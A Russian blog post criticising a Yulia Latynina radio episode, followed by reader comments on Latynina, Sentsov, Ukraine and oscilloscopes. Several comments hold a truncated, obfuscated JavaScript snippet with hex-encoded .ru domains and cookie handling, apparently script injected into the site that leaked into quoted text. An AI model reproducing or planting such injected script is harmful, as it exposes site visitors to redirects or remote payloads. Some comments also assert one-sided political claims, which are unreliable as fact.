Адрес для входа в РФ: exler.bar
Ниочемная Латынина
01.09.2015 11:04
8094
Комментарии (67)
Послушал последний "Код доступа" Латыниной. Вообще ни о чем. Первую половину выпуска Латынина типа как оправдывалась за свой пассаж о Сенцове из предыдущей передачи. Пассаж этот вызвал довольно бурное возмущение в Сети (как выразилась сама "талантливая журналистка"™ - "началось бурление говн"), Латынина заявила, что ей на это наплевать слюнями с высокой башни, но при этом начала оправдываться. Причем оправдывалась она очень своеобразно. Тот пассаж, который вызвал возмущение, она не упомянула ни разу. Вместо этого Латынина повторяла свои слова, которые никакого возмущения ни у кого не вызвали - оправдалась, короче говоря.
Кроме того, Латынина опять применила свой излюбленный прием, когда она сама выдумывает какой-то постулат, приписывает его "толпе интернетовских хомячков" и начинает постулат бурно опровергать. С Сенцовым она это уже второй раз проделывает. Латынина говорит что-то вроде: "Толпа интернетовских хомячков утверждает, что Сенцов не может быть виноват, потому что он - режиссер". Хотя я вообще ни от кого таких утверждений нигде не слышал, только от Латыниной. И тут же она начинает приводить кучу примеров, когда люди творческие оказывались террористами, убийцами, ворами и негодяями. Опровергая постулат, который сама же выдумала и приписала его мифическим хомячкам и особо ненавидимым ею правозащитникам.
Практически всю вторую половину передачи Латынина крайне нудно пересказывала житие какого-то то ли Вазисубана, то ли Северина, о котором кроме Латыниной никто сто лет не знает и знать не хочет, чтобы в результате подвести слушателей к интересной мысли о том, что язычество - рулез, а христианство - маст дай. Я с этим, в общем-то, как-то и не спорю, но зачем перед этим нужно было полчаса нудеть о вазисубанах-северинах - в упор не понимаю. Тем, что ли, интересных нет?
В общем, только даром время потерял.
Войдите, чтобы оставить комментарий.
Вот кто меня бесит- это Дм. Быков. Вот уж бесит так бесит! Я так чувствую, когда эфиры слушаю; рядом с ним, как пигмей на плотике к линкору приехавши торговать гнилыми бананами. Ненавижу! )))
Ну, послушайте... Я тоже не вполне бездарен, я тоже много читал...
Но не так уж!!!
Понимаю толпу. Энтео понимаю. Но! Понять - не значит простить. Чтобы там Веня не говорил...
Ну, послушайте... Я тоже не вполне бездарен, я тоже много читал...
Но не так уж!!!
Понимаю толпу. Энтео понимаю. Но! Понять - не значит простить. Чтобы там Веня не говорил...
Занудно как-то... Мне вот больше нравятся такие описание, например:
Разница между hardware и software:
Hardware - это то, что можно пнуть.
Разница между hardware и software:
Hardware - это то, что можно пнуть.
igori-san: Hardware - это то, что можно пнуть.
Угу. А software - это то, что можно наи"пнуть".
охренеть и в ФФ тоже
А это че за хрень с цитированием?
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21686",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21686",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
PiramiD:
А это че за хрень с цитированием?
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e72-e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
А это че за хрень с цитированием?
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e72-e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
Согласен, а Латынина в курсе?
Алекс, а почему Вазисубан(и) - который район в Тбилиси и село в Западной Грузии? 😄
Какие свежие темы! Украина - хорошая/плохая, у осциллографа нет стрелки...
Добавляю от себя: Путин - Х-йло.
Добавляю от себя: Путин - Х-йло.
Риспект эховским пиарщикам. Поглядел каменты - по факту, очень правильная стратегия продвижения.
Латынина вообще-то пургу несет как Трандычиха: язык-то без костей, набрехать может беспредельно. В то время как в мировой журналистике котируются люди, своей жизнью доказавшие, тэсэзэть, верность принципам. Имя должно быть, как, например, в Штатах был Кронкайт. Без имени легко представить себе ту же Латынину членом какой-либо "группы по интересам". Брехать легко, а кому верить - вот вопрос. Общественное мнение у нас как бы эту проблему пока для себя не определило. Еще вопрос, кто бы в нашей ойкумене на эту роль сгодился. Да и вообще, в массе пока как-то не наблюдается устойчивого мнения по российско-украинскому конфликту, все больше тонем в частностях. Я для себя четко пророссийскую позицию держу, тк вижу в Украине в общем-то шкурный интерес: им хотелось бы поработать для России пробкой в бутылке, и небесплатно. Стоит лишь на карту взглянуть, и все станет понятно. И стоило их для этого 300 лет греть и защищать, и где бы они были без России? Общеизвестно, что государством-то Украина никогда и не была. А это теперешнее разделение вообще-то дедушка Лельцын пропил сдуру, неизвестно с чьей подачи.
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21686",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
Шарчик: ... Я для себя четко пророссийскую позицию держу, тк вижу в Украине в общем-то шкурный интерес: им хотелось бы поработать для России пробкой в бутылке, и небесплатно. Стоит лишь на карту взглянуть, и все станет понятно. И стоило их для этого 300 лет греть и защищать, и где бы они были без России? Общеизвестно, что государством-то Украина никогда и не была. А это теперешнее разделение вообще-то дедушка Лельцын пропил сдуру, неизвестно с чьей подачи.
А вот, например, в Германии геополитика фактически запрещена, как идеология обоснования фашизма!
Это если на карту взглянуть, непредвзято 😄
Юлия Латынина - самый уважаемый мною российский журналист: за энциклопедичность знаний, за острые и неизменно интересные статьи. См., например, www.novayagazeta.ru . Код доступа не смотрю, жалко времени, и она, возможно там не блещет. А вот статьи - это must.
Латынина - любимый писатель. "Сто полей" - наше все. )) Не надо относиться ней, как к журналисту.
А я в первые пять минут передачи услышал кучу "а-э-а", и как здесь советуют выключил. Легче прочитать, чем фильтровать такой "базар".
Зачем столько внимания?
Сам же всегда говоришь - не нравится - не слушай/читай
Сам же всегда говоришь - не нравится - не слушай/читай
Что у осциллоГРАФа есть пишущий узел, закрепленный на конце СТРЕЛКИ, знаю. Само название намекает. Многие видели его на ЭКГ установках - которые на оранжево-розовых ленточках кривые выписывают чернилами.. Что прибор, рисующий линию на экране, называется осциллоскоп - это до сих пор так в английском, DIGITAL OSCILLOSCOPE.
И я не придираюсь к якобы существовавшей ошибке у Юлии Латыниной в тексте. Я, грешным делом, назвал ее саму "стрелкой осциллографа". Ассоциации... Мечется от темы к теме, от высокого к низкому, производит парадоксальные аналогии. И все это - запись сердцебиения эпохи. Может, прединфарктного, wh0 kn0ws?
И я не придираюсь к якобы существовавшей ошибке у Юлии Латыниной в тексте. Я, грешным делом, назвал ее саму "стрелкой осциллографа". Ассоциации... Мечется от темы к теме, от высокого к низкому, производит парадоксальные аналогии. И все это - запись сердцебиения эпохи. Может, прединфарктного, wh0 kn0ws?
Я последнее время все ее программы до половины слушаю, потому-что во второй у ней идут маловразумительные исторические экскурсы.
ну,справедливости ради,было интересно про сердюкова и кобзона,но там несколько минут всего.так что да,очень слабо в этот раз
У Газпром-медия есть, как и у любой нормальной компании, продукты для всех сегментов рынка.
"Патриотам" - "мэйнстрим". НТВ.
"Дебилам" - "развлекательные". ТНТ.
"Недовольным" - "оппозиционные". ЭхМ.
Все группы охвачены.
"Патриотам" - "мэйнстрим". НТВ.
"Дебилам" - "развлекательные". ТНТ.
"Недовольным" - "оппозиционные". ЭхМ.
Все группы охвачены.
Полагаю, что раньше у Латыниной были довольно неплохие источники информации во власти и бизнесе. Инсайд такой инсайд.
То есть и сама инфа была довольно свежей и "не для всех", и часть выводов ею только озвучивалась, авторство не её было.
А затем по ряду причин утечки прекратились. Потому, например, что в нынешние времена несанкционированные сливы не только не приветствуются, а еще и караются. Ну, а репутацию особы, у которой вода в жопе не удержится, Юлия успешно заработала. Типа, днем потрещали ресторане, а вечером вся инфа вывалена в передаче на "Эхе".
Поэтому теперь и приходится высасывать из пальца исторические параллели и делиться сомнительными слухами.
То есть и сама инфа была довольно свежей и "не для всех", и часть выводов ею только озвучивалась, авторство не её было.
А затем по ряду причин утечки прекратились. Потому, например, что в нынешние времена несанкционированные сливы не только не приветствуются, а еще и караются. Ну, а репутацию особы, у которой вода в жопе не удержится, Юлия успешно заработала. Типа, днем потрещали ресторане, а вечером вся инфа вывалена в передаче на "Эхе".
Поэтому теперь и приходится высасывать из пальца исторические параллели и делиться сомнительными слухами.
Не надо зря придераться к Латыниной. Когда она говорит с фактами на руках и не надо заниматься операцией "Замыливание" и не находится под влиянием "Стокгольмского синдрома", то облекает их в довольно интересную форму.
И только не надо придераться к "стрелке осциллографа", первые осциллографы были со стрелками, самописцами их начали называть позже и не везде.
А "борьбой с чучелАми" занимаются все "хорошие" журналисты (мы это обсуждали ещё про Невзорова), а иначе как "умоешь апанента" на ток-шоу, в особом мненинии и т. п.?
И только не надо придераться к "стрелке осциллографа", первые осциллографы были со стрелками, самописцами их начали называть позже и не везде.
А "борьбой с чучелАми" занимаются все "хорошие" журналисты (мы это обсуждали ещё про Невзорова), а иначе как "умоешь апанента" на ток-шоу, в особом мненинии и т. п.?
MetaReks: И только не надо придераться к "стрелке осциллографа", первые осциллографы были со стрелками, самописцами их начали называть позже и не везде.
Кстати сказать, есть "осциллограф" и есть "осциллоскоп". Если быть точным, "осциллограф" пишет кривую на бумаге. Осциллоскоп рисует кривую на электрнно-лучевой трубке. Сомневающеся могут самостоятельно погуглить oscillograph и oscilloscope. У нас и то и другое называется "осциллограф".
То что Латынина сказала про Сенцова - абсолютно верно. Другое дело, что поджог стула не тянет на 20 лет.
Насчет ее исторических ретроспекций - на мой взгляд, очень интересно. В первую очередь тем, как история проецируется на современность. Познания Латниной в истории поистине уникальны, а способность копать информацию, как не раз отмечал сам Алекс, тоже выдающаяся.
Alex Exler: Кроме того, Латынина опять применила свой излюбленный прием, когда она сама выдумывает какой-то постулат, приписывает его "толпе интернетовских хомячков" и начинает постулат бурно опровергать. С Сенцовым она это уже второй раз проделывает. Латынина говорит что-то вроде: "Толпа интернетовских хомячков утверждает, что Сенцов не может быть виноват, потому что он - режиссер".
Тут, Алекс, как раз ты приписываешь Латыниной "постулат" которого нет. То что Сенцов режиссер, педалировалось всеми сми, которые ему сочувствовали. Иначе как "украинский режиссер Сенцов" его и не назвали. И посыл читался абсолютно конкретный - как можно обвинять в терроризме талантливого режиссера, кинематографиста с мировым именем. И обращения в его поддержку собирали именно среди деятелей кино по всему миру. Латынина может немного и утрировала, но в данном формате абсолютно нормально.
Большинство остальных претензий к Латыниной обусловленно по моему мнению слишком высоко задранной (ею же самой) планкой ожиданий. Невозможно выдавать по "научной диссертации" в неделю, на протяжении многих лет. Подобные по охвату и информативности передачи в других сми готовятся целыми командами редакторов и журналистов. Здесь же, как я понимаю, речь идет только о латыниной и еще каком-то "пареньке из интернета".
Можно конечно спорить о том "не порали Латыниной вовремя уйти". Только уходить в сегодняшней России особо некуда. Закроет это окно, другого может и не появиться.
Alex Exler: зачем перед этим нужно было полчаса нудеть о вазисубанах-северинах - в упор не понимаю. Тем, что ли, интересных нет?
Тут, Алекс, как раз ты приписываешь Латыниной "постулат" которого нет. То что Сенцов режиссер, педалировалось всеми сми, которые ему сочувствовали. Иначе как "украинский режиссер Сенцов" его и не назвали. И посыл читался абсолютно конкретный - как можно обвинять в терроризме талантливого режиссера, кинематографиста с мировым именем. И обращения в его поддержку собирали именно среди деятелей кино по всему миру. Латынина может немного и утрировала, но в данном формате абсолютно нормально.
Большинство остальных претензий к Латыниной обусловленно по моему мнению слишком высоко задранной (ею же самой) планкой ожиданий. Невозможно выдавать по "научной диссертации" в неделю, на протяжении многих лет. Подобные по охвату и информативности передачи в других сми готовятся целыми командами редакторов и журналистов. Здесь же, как я понимаю, речь идет только о латыниной и еще каком-то "пареньке из интернета".
Можно конечно спорить о том "не порали Латыниной вовремя уйти". Только уходить в сегодняшней России особо некуда. Закроет это окно, другого может и не появиться.
Alex Exler: зачем перед этим нужно было полчаса нудеть о вазисубанах-северинах - в упор не понимаю. Тем, что ли, интересных нет?
" Постоянная рубрика "Исторического анекдот". Почему бы и нет?
Как сказал еще в 2004 году Бжезинский - Некомпетентность таких борцов за демократию, как Латынина, лъет воду на мельницу алигархической автократии режима Путина.
Zyhel404: алигархической автократии
Может, правильнее, аллегорической? 😉
Мне очень нравится тезис Латыниной про "Собаку Алкивиада".
И тем не менее, одно из немногого, что интересно прочитать. Хотя при этом не бесспорно, конечно.
Ага. А вот мне (да и вам, смотрю))) больше подходит пункт 9 😄)
Мне кажется, Алекс что-то начал подозревать про Латынину.
Спустя все пройденные сроки 😄)
Спустя все пройденные сроки 😄)
Все мы человеки, все ошибаются. Бывает ведь, че уж.
По-моему в современных интернетах эта самая "борьба с чучелом" - излюбленный прием вообще всех, начиная от нашистов-ватников-патриотов (нужное подчеркнуть) и заканчивая фанатами Навального.
Латынина - известный "журналист". Первое время её эфиры бурно обсуждали на военно-историческом форуме, когда она по их теме высказывалась. Позже имя её стало нарицательным и в приличных дискуссиях больше не упоминается.
А Погребову с Широкожухвым похоже дадут 3-4 года. за то что просто на крыше были
и тоже как то ничего не слышно...
и тоже как то ничего не слышно...
Алекс а ты слышал что бы ктото защищал Чирния и Афанасьева? и я тоже почти не слышал. А Кольченко? вот тото и оно 😒
Я вообще удивлялся каждый раз, Алекс, постами "Послушал передачу Латыниной, толково излагает". Она, вообще то почти каждый раз несёт полную ерунду.
Тут дело не в том что я не разделяю её взглядов, есть люди из так называемого либерального лагеря, которых можно послушать и что то принять к сведению. Передачи же Латыниной воспринимать всерьёз перестал давно, тратить на них время, по крайней мере, чтобы получить какую то аналитику, а не поржать, считаю бесполезным занятием.
Тут дело не в том что я не разделяю её взглядов, есть люди из так называемого либерального лагеря, которых можно послушать и что то принять к сведению. Передачи же Латыниной воспринимать всерьёз перестал давно, тратить на них время, по крайней мере, чтобы получить какую то аналитику, а не поржать, считаю бесполезным занятием.
Латынина, похоже, использует стандартный риторический прием - "борьбу с чучелом". Сама выдумывает слабый аргумент, который никто и не выдвигал, сама же потом его храбро опровергает. Зато можно не отвечать по существу.
Темы должны быть безопасными - и выбирать надо осторожно, примерно как дикообразы спариваются. Ручная оппозиция она такая ручная.
И да, все дальше и больше подкасты превращаются в некую разновидность аудиокниг или/и ток-шоу - которые СПЕЦИАЛЬНО слушать смысла нет - только фоном, и только тогда когда занят работой, которая требует минимум ресурса от головы и не занята ушами - файлы отсортировать, фото обработать или обтравить, архивы записать....
И да, все дальше и больше подкасты превращаются в некую разновидность аудиокниг или/и ток-шоу - которые СПЕЦИАЛЬНО слушать смысла нет - только фоном, и только тогда когда занят работой, которая требует минимум ресурса от головы и не занята ушами - файлы отсортировать, фото обработать или обтравить, архивы записать....
geldiev: И да, все дальше и больше подкасты превращаются в некую разновидность аудиокниг или/и ток-шоу - которые СПЕЦИАЛЬНО слушать смысла нет - только фоном
Да всегда так было. Людей, которых хочется/надо слушать внимательно, никогда не было много. Их список мы тут уже как-то составляли/дополняли/корректировали 😄
geldiev: дикообразы
Кто такие?
Теги
Информация
Что ещё почитать
Обзор смартфона Redmi Note 13 Pro
05.03.2024
35
Дюна: Часть вторая
14.03.2024
352
